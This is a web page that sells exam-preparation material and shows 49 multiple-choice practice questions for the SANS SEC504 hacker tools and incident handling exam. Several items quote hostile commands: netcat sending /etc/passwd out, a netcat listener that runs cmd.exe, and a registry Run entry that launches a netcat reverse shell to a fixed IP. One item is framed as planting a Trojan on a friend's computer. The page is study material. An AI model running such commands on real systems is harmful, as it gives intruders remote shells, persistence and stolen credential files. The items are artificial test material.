Summer Special Flat 65% Limited Time Discount offer - Ends in 0d 00h 00m 00s - Coupon code: netdisc

SANS SEC504 Hacker Tools, Techniques, Exploits and Incident Handling Exam Practice Test

Page: 1 / 33
Total 328 questions

Hacker Tools, Techniques, Exploits and Incident Handling Questions and Answers

Testing Engine

  • Product Type: Testing Engine
$43.75  $124.99

PDF Study Guide

  • Product Type: PDF Study Guide
$38.5  $109.99
Question 1

Fill in the blank with the appropriate name of the rootkit.

A _______ rootkit uses device or platform firmware to create a persistent malware image.

Options:

Question 2

Address Resolution Protocol (ARP) spoofing, also known as ARP poisoning or ARP Poison Routing (APR), is a technique used to attack an Ethernet wired or wireless network. ARP spoofing may allow an attacker to sniff data frames on a local area network (LAN), modify the traffic, or stop the traffic altogether. The principle of ARP spoofing is to send fake ARP messages to an Ethernet LAN. What steps can be used as a countermeasure of ARP spoofing?

Each correct answer represents a complete solution. Choose all that apply.

Options:

A.

Using smash guard utility

B.

Using ARP Guard utility

C.

Using static ARP entries on servers, workstation and routers

D.

Using ARP watch utility

E.

Using IDS Sensors to check continually for large amount of ARP traffic on local subnets

Question 3

You work as a Network Administrator for Marioxnet Inc. You have the responsibility of handling two routers with BGP protocol for the enterprise's network. One of the two routers gets flooded with an unexpected number of data packets, while the other router starves with no packets reaching it. Which of the following attacks can be a potential cause of this?

Options:

A.

Packet manipulation

B.

Denial-of-Service

C.

Spoofing

D.

Eavesdropping

Question 4

Which of the following can be used as a Trojan vector to infect an information system?

Each correct answer represents a complete solution. Choose all that apply.

Options:

A.

NetBIOS remote installation

B.

Any fake executable

C.

Spywares and adware

D.

ActiveX controls, VBScript, and Java scripts

Question 5

You work as an Incident handling manager for a company. The public relations process of the company includes an event that responds to the e-mails queries. But since few days, it is identified that this process is providing a way to spammers to perform different types of e-mail attacks. Which of the following phases of the Incident handling process will now be involved in resolving this process and find a solution?

Each correct answer represents a part of the solution. Choose all that apply.

Options:

A.

Eradication

B.

Contamination

C.

Preparation

D.

Recovery

E.

Identification

Question 6

Adam is a novice Web user. He chooses a 22 letters long word from the dictionary as his password.

How long will it take to crack the password by an attacker?

Options:

A.

22 hours

B.

23 days

C.

200 years

D.

5 minutes

Question 7

Which of the following reads and writes data across network connections by using the TCP/IP protocol?

Options:

A.

Fpipe

B.

NSLOOKUP

C.

Netcat

D.

2Mosaic

Question 8

Mark works as a Network Administrator for Perfect Inc. The company has both wired and wireless networks. An attacker attempts to keep legitimate users from accessing services that they require. Mark uses IDS/IPS sensors on the wired network to mitigate the attack. Which of the following attacks best describes the attacker's intentions?

Options:

A.

Internal attack

B.

Reconnaissance attack

C.

Land attack

D.

DoS attack

Question 9

Which of the following tools can be used as penetration tools in the Information system auditing process?

Each correct answer represents a complete solution. Choose two.

Options:

A.

Nmap

B.

Snort

C.

SARA

D.

Nessus

Question 10

A user is sending a large number of protocol packets to a network in order to saturate its resources and to disrupt connections to prevent communications between services. Which type of attack is this?

Options:

A.

Vulnerability attack

B.

Impersonation attack

C.

Social Engineering attack

D.

Denial-of-Service attack

Question 11

Victor works as a professional Ethical Hacker for SecureEnet Inc. He has been assigned a job to test an image, in which some secret information is hidden, using Steganography. Victor performs the following techniques to accomplish the task:

1. Smoothening and decreasing contrast by averaging the pixels of the area where significant color transitions occurs.

2. Reducing noise by adjusting color and averaging pixel value.

3. Sharpening, Rotating, Resampling, and Softening the image.

Which of the following Steganography attacks is Victor using?

Options:

A.

Stegdetect Attack

B.

Chosen-Stego Attack

C.

Steg-Only Attack

D.

Active Attacks

Question 12

Which of the following systems is used in the United States to coordinate emergency preparedness and incident management among various federal, state, and local agencies?

Options:

A.

US Incident Management System (USIMS)

B.

National Disaster Management System (NDMS)

C.

National Emergency Management System (NEMS)

D.

National Incident Management System (NIMS)

Question 13

Andrew, a bachelor student of Faulkner University, creates a gmail account. He uses 'Faulkner' as the password for the gmail account. After a few days, he starts receiving a lot of e-mails stating that his gmail account has been hacked. He also finds that some of his important mails have been deleted by someone. Which of the following methods has the attacker used to crack Andrew's password?

Each correct answer represents a complete solution. Choose all that apply.

Options:

A.

Denial-of-service (DoS) attack

B.

Zero-day attack

C.

Brute force attack

D.

Social engineering

E.

Buffer-overflow attack

F.

Rainbow attack

G.

Password guessing

Question 14

Adam, a malicious hacker is sniffing the network to inject ARP packets. He injects broadcast frames onto the wire to conduct Man-in-The-Middle attack.

Which of the following is the destination MAC address of a broadcast frame?

Options:

A.

0xDDDDDDDDD

B.

0x00000000000

C.

0xFFFFFFFFFFFF

D.

0xAAAAAAAAAA

Question 15

Which of the following statements about Ping of Death attack is true?

Options:

A.

In this type of attack, a hacker sends more traffic to a network address than the buffer can handle.

B.

This type of attack uses common words in either upper or lower case to find a password.

C.

In this type of attack, a hacker maliciously cuts a network cable.

D.

In this type of attack, a hacker sends ICMP packets greater than 65,536 bytes to crash a system.

Question 16

Which of the following actions is performed by the netcat command given below?

nc 55555 < /etc/passwd

Options:

A.

It changes the /etc/passwd file when connected to the UDP port 55555.

B.

It resets the /etc/passwd file to the UDP port 55555.

C.

It fills the incoming connections to /etc/passwd file.

D.

It grabs the /etc/passwd file when connected to UDP port 55555.

Question 17

You work as a Network Administrator in the SecureTech Inc. The SecureTech Inc. is using Linux-based server. Recently, you have updated the password policy of the company in which the server will disable passwords after four trials. What type of attack do you want to stop by enabling this policy?

Options:

A.

Brute force

B.

Replay

C.

XSS

D.

Cookie poisoning

Question 18

Which of the following is an Internet mapping technique that relies on various BGP collectors that collect information such as routing updates and tables and provide this information publicly?

Options:

A.

AS Route Inference

B.

Path MTU discovery (PMTUD)

C.

AS PATH Inference

D.

Firewalking

Question 19

Which of the following options scans the networks for vulnerabilities regarding the security of a network?

Options:

A.

System enumerators

B.

Port enumerators

C.

Network enumerators

D.

Vulnerability enumerators

Question 20

John works as a Professional Ethical Hacker for NetPerfect Inc. The company has a Linux-based network. All client computers are running on Red Hat 7.0 Linux. The Sales Manager of the company complains to John that his system contains an unknown package named as tar.gz and his documents are exploited. To resolve the problem, John uses a Port scanner to enquire about the open ports and finds out that the HTTP server service port on 27374 is open. He suspects that the other computers on the network are also facing the same problem. John discovers that a malicious application is using the synscan tool to randomly generate IP addresses.

Which of the following worms has attacked the computer?

Options:

A.

Code red

B.

Ramen

C.

LoveLetter

D.

Nimda

Question 21

You work as an Incident handler in Mariotrixt.Inc. You have followed the Incident handling process to handle the events and incidents. You identify Denial of Service attack (DOS) from a network linked to your internal enterprise network. Which of the following phases of the Incident handling process should you follow next to handle this incident?

Options:

A.

Containment

B.

Preparation

C.

Recovery

D.

Identification

Question 22

Which of the following is the Web 2.0 programming methodology that is used to create Web pages that are dynamic and interactive?

Options:

A.

UML

B.

Ajax

C.

RSS

D.

XML

Question 23

Which of the following tools can be used for network sniffing as well as for intercepting conversations through session hijacking?

Options:

A.

Ethercap

B.

Tripwire

C.

IPChains

D.

Hunt

Question 24

You discover that all available network bandwidth is being used by some unknown service. You discover that UDP packets are being used to connect the echo service on one machine to the chargen service on another machine. What kind of attack is this?

Options:

A.

Smurf

B.

Denial of Service

C.

Evil Twin

D.

Virus

Question 25

Which of the following steps can be taken as countermeasures against sniffer attacks?

Each correct answer represents a complete solution. Choose all that apply.

Options:

A.

Use encrypted protocols for all communications.

B.

Use switches instead of hubs since they switch communications, which means that information is delivered only to the predefined host.

C.

Use tools such as StackGuard and Immunix System to avoid attacks.

D.

Reduce the range of the network to avoid attacks into wireless networks.

Question 26

Adam works as a Security Analyst for Umbrella Inc. CEO of the company ordered him to implement two-factor authentication for the employees to access their networks. He has told him that he would like to use some type of hardware device in tandem with a security or identifying pin number. Adam decides to implement smart cards but they are not cost effective.

Which of the following types of hardware devices will Adam use to implement two-factor authentication?

Options:

A.

Biometric device

B.

Security token

C.

Proximity cards

D.

One Time Password

Question 27

Fill in the blank with the correct numeric value.

ARP poisoning is achieved in ______ steps.

Options:

Question 28

You execute the following netcat command:

c:\target\nc -1 -p 53 -d -e cmd.exe

What action do you want to perform by issuing the above command?

Options:

A.

Listen the incoming data and performing port scanning

B.

Capture data on port 53 and performing banner grabbing

C.

Capture data on port 53 and delete the remote shell

D.

Listen the incoming traffic on port 53 and execute the remote shell

Question 29

John works as a professional Ethical Hacker. He has been assigned the project of testing the security of He wants to perform a stealth scan to discover open ports and applications running on the We-are-secure server. For this purpose, he wants to initiate scanning with the IP address of any third party. Which of the following scanning techniques will John use to accomplish his task?

Options:

A.

RPC

B.

IDLE

C.

UDP

D.

TCP SYN/ACK

Question 30

Which of the following types of attacks come under the category of hacker attacks?

Each correct answer represents a complete solution. Choose all that apply.

Options:

A.

Smurf

B.

IP address spoofing

C.

Teardrop

D.

Password cracking

Question 31

Which of the following scanning tools is also a network analysis tool that sends packets with nontraditional IP stack parameters and allows the scanner to gather information from the response packets generated?

Options:

A.

Tcpview

B.

Nessus

C.

Legion

D.

HPing

Question 32

Which of the following is the most common vulnerability that can affect desktop applications written in native code?

Options:

A.

SpyWare

B.

DDoS attack

C.

Malware

D.

Buffer overflow

Question 33

Which of the following statements is true about a Trojan engine?

Options:

A.

It limits the system resource usage.

B.

It specifies the signatures that keep a watch for a host or a network sending multiple packets to a single host or a single network.

C.

It specifies events that occur in a related manner within a sliding time interval.

D.

It analyzes the nonstandard protocols, such as TFN2K and BO2K.

Question 34

Which of the following attacking methods allows the bypassing of access control lists on servers or routers, either hiding a computer on a network or allowing it to impersonate another computer by changing the Media Access Control address?

Options:

A.

IP address spoofing

B.

VLAN hoping

C.

ARP spoofing

D.

MAC spoofing

Question 35

Which of the following tools combines two programs, and also encrypts the resulting package in an attempt to foil antivirus programs?

Options:

A.

Trojan Man

B.

EliteWrap

C.

Tiny

D.

NetBus

Question 36

Which of the following is the best method of accurately identifying the services running on a victim host?

Options:

A.

Use of the manual method of telnet to each of the open ports.

B.

Use of a port scanner to scan each port to confirm the services running.

C.

Use of hit and trial method to guess the services and ports of the victim host.

D.

Use of a vulnerability scanner to try to probe each port to verify which service is running.

Question 37

Network mapping provides a security testing team with a blueprint of the organization. Which of the following steps is NOT a part of manual network mapping?

Options:

A.

Gathering private and public IP addresses

B.

Collecting employees information

C.

Banner grabbing

D.

Performing Neotracerouting

Question 38

Which of the following statements are true about tcp wrappers?

Each correct answer represents a complete solution. Choose all that apply.

Options:

A.

tcp wrapper provides access control, host address spoofing, client username lookups, etc.

B.

When a user uses a TCP wrapper, the inetd daemon runs the wrapper program tcpd instead of running the server program directly.

C.

tcp wrapper allows host or subnetwork IP addresses, names and/or ident query replies, to be used as tokens to filter for access control purposes.

D.

tcp wrapper protects a Linux server from IP address spoofing.

Question 39

Which of the following tools can be used to perform brute force attack on a remote database?

Each correct answer represents a complete solution. Choose all that apply.

Options:

A.

SQLBF

B.

SQLDict

C.

FindSA

D.

nmap

Question 40

Which of the following statements about buffer overflow is true?

Options:

A.

It manages security credentials and public keys for message encryption.

B.

It is a collection of files used by Microsoft for software updates released between major service pack releases.

C.

It is a condition in which an application receives more data than it is configured to accept.

D.

It is a false warning about a virus.

Question 41

You run the following command on the remote Windows server 2003 computer:

c:\reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v nc /t REG_SZ /d "c:\windows\nc.exe -d 192.168.1.7 4444 -e cmd.exe"

What task do you want to perform by running this command?

Each correct answer represents a complete solution. Choose all that apply.

Options:

A.

You want to perform banner grabbing.

B.

You want to set the Netcat to execute command any time.

C.

You want to put Netcat in the stealth mode.

D.

You want to add the Netcat command to the Windows registry.

Question 42

Adam works as a sales manager for Umbrella Inc. He wants to download software from the Internet. As the software comes from a site in his untrusted zone, Adam wants to ensure that the downloaded software has not been Trojaned. Which of the following options would indicate the best course of action for Adam?

Options:

A.

Compare the file size of the software with the one given on the Website.

B.

Compare the version of the software with the one published on the distribution media.

C.

Compare the file's virus signature with the one published on the distribution.

D.

Compare the file's MD5 signature with the one published on the distribution media.

Question 43

John works as a professional Ethical Hacker. He has been assigned the project of testing the security of He finds that the We-are-secure server is vulnerable to attacks. As a countermeasure, he suggests that the Network Administrator should remove the IPP printing capability from the server. He is suggesting this as a countermeasure against __________.

Options:

A.

IIS buffer overflow

B.

NetBIOS NULL session

C.

SNMP enumeration

D.

DNS zone transfer

Question 44

You have inserted a Trojan on your friend's computer and you want to put it in the startup so that whenever the computer reboots the Trojan will start to run on the startup. Which of the following registry entries will you edit to accomplish the task?

Options:

A.

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Startup

B.

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Auto

C.

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices

D.

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Start

Question 45

Which of the following statements about a Trojan horse are true?

Each correct answer represents a complete solution. Choose two.

Options:

A.

It is a macro or script that attaches itself to a file or template.

B.

The writers of a Trojan horse can use it later to gain unauthorized access to a computer.

C.

It is a malicious software program code that resembles another normal program.

D.

It infects the boot record on hard disks and floppy disks.

Question 46

John, a part-time hacker, has accessed in unauthorized way to the banking Website and stolen the bank account information of its users and their credit card numbers by using the SQL injection attack. Now, John wants to sell this information to malicious person Mark and make a deal to get a good amount of money. Since, he does not want to send the hacked information in the clear text format to Mark; he decides to send information in hidden text. For this, he takes a steganography tool and hides the information in ASCII text by appending whitespace to the end of lines and encrypts the hidden information by using the IDEA encryption algorithm. Which of the following tools is John using for steganography?

Options:

A.

Image Hide

B.

2Mosaic

C.

Snow.exe

D.

Netcat

Question 47

Which of the following Incident handling process phases is responsible for defining rules, collaborating human workforce, creating a back-up plan, and testing the plans for an enterprise?

Options:

A.

Preparation phase

B.

Eradication phase

C.

Identification phase

D.

Recovery phase

E.

Containment phase

Question 48

Which of the following functions can be used as a countermeasure to a Shell Injection attack?

Each correct answer represents a complete solution. Choose all that apply.

Options:

A.

escapeshellarg()

B.

mysql_real_escape_string()

C.

regenerateid()

D.

escapeshellcmd()

Question 49

Which of the following types of attacks is mounted with the objective of causing a negative impact on the performance of a computer or network?

Options:

A.

Vulnerability attack

B.

Man-in-the-middle attack

C.

Denial-of-Service (DoS) attack

D.

Impersonation attack

Page: 1 / 33
Total 328 questions